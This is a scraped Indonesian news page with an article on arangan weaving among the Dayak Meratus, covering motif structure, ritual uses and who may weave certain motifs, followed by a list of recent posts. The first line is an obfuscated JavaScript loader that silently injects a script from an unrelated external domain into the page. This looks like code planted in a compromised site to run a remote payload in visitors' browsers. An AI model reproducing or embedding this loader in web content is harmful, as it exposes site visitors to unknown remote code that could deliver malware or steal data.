(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Budaya

Kerajinan Arangan, Deskripsi Kehidupan Dayak Meratus


Kerajinan anyaman (Arangan) pada komunitas Dayak Meratus yang mempunyai keanekaragaman ternyata, bukan hanya sekedar media kreativitas mereka semata, tetapi merupakan aktualisasi dari kehidupan sehari-hari baik itu terkait hubungan mereka dengan sesama masyarakat Dayak Meratus, alam sekitar hingga pada sisi religi yakni Ketuhanan.

Hampir semua aktivitas kehidupan orang Dayak Meratus, baik itu bercocok tanam, berburu (bagarit), ritual keagamaan (aruh adat/ babalian) acap kali digambarkan dalam motif arangan yang beragam. Bahkan, arangan ini selain menjadi benda untuk kebutuhan kehidupan sehari-hari juga digunakan sebagai kelengkapan ritual adat, dimana motif yang digunakan sesuai kebutuhan atau kegiatan yang dilangsungkan.

Ada puluhan bahkan ratusan motif yang ada pada kerajinan arangan yang dihasilkan oleh komunitas Dayak Meratus. Tiap motif mengambarkan atau menceritakan sesuatu yang tak terlepas dari kehidupan mereka Dayak Meratus.
Biasanya arangan yang dihasilkan dalam satu benda, terbagi tiga bagian, yakni motif pembuka, motif dasar (utama/besar) dan motif penutup.

Motif pembuka, terdapat pada bagian biasanya berbentuk garis melingkar, sedangkan motif utama adalah motif yang paling menonjol dan ukuran jauh lebih dominan (besar). Kalau motif penutup, berada pada bagian atas dimana dan motifnya lebih bervariasi dari motif pembuka dan utama, tetapi ukurannya hampir sama dengan bagian motif pembuka.

Jika motif utama itu mengambarkan hanya satu benda, maka motif pembuka dan penutup menceritakan lebih satu benda, sehingga biasanya motif penutup dan pembuka ini terdiri dua hingga empat motif sekaligus dengan ukuran yang kecil.
Khusus keanekaragaman motif ini, ada beberapa motif tertentu yang pembuatannya tidak semua lapisan masyarakat boleh membuatnya, misal motif bidadari mandi ini dibuat oleh wanita yang sudah bersuami yang biasa sudah akan memasuki usia lanjut.

Selain itu, ada juga pembuatan motif anyaman khusus untuk keperluan ritual adat (Aruh Adat), dimana biasanya motif yang digunakan mengambarkan keinginan (permohonan) si pelaksana aruh adat. (hb/gie)

Reporter:hb/gie
Editor:Bie

Desy Arfianty

Recent Posts

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

3 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

6 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

7 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

7 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

10 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

10 jam ago

This website uses cookies.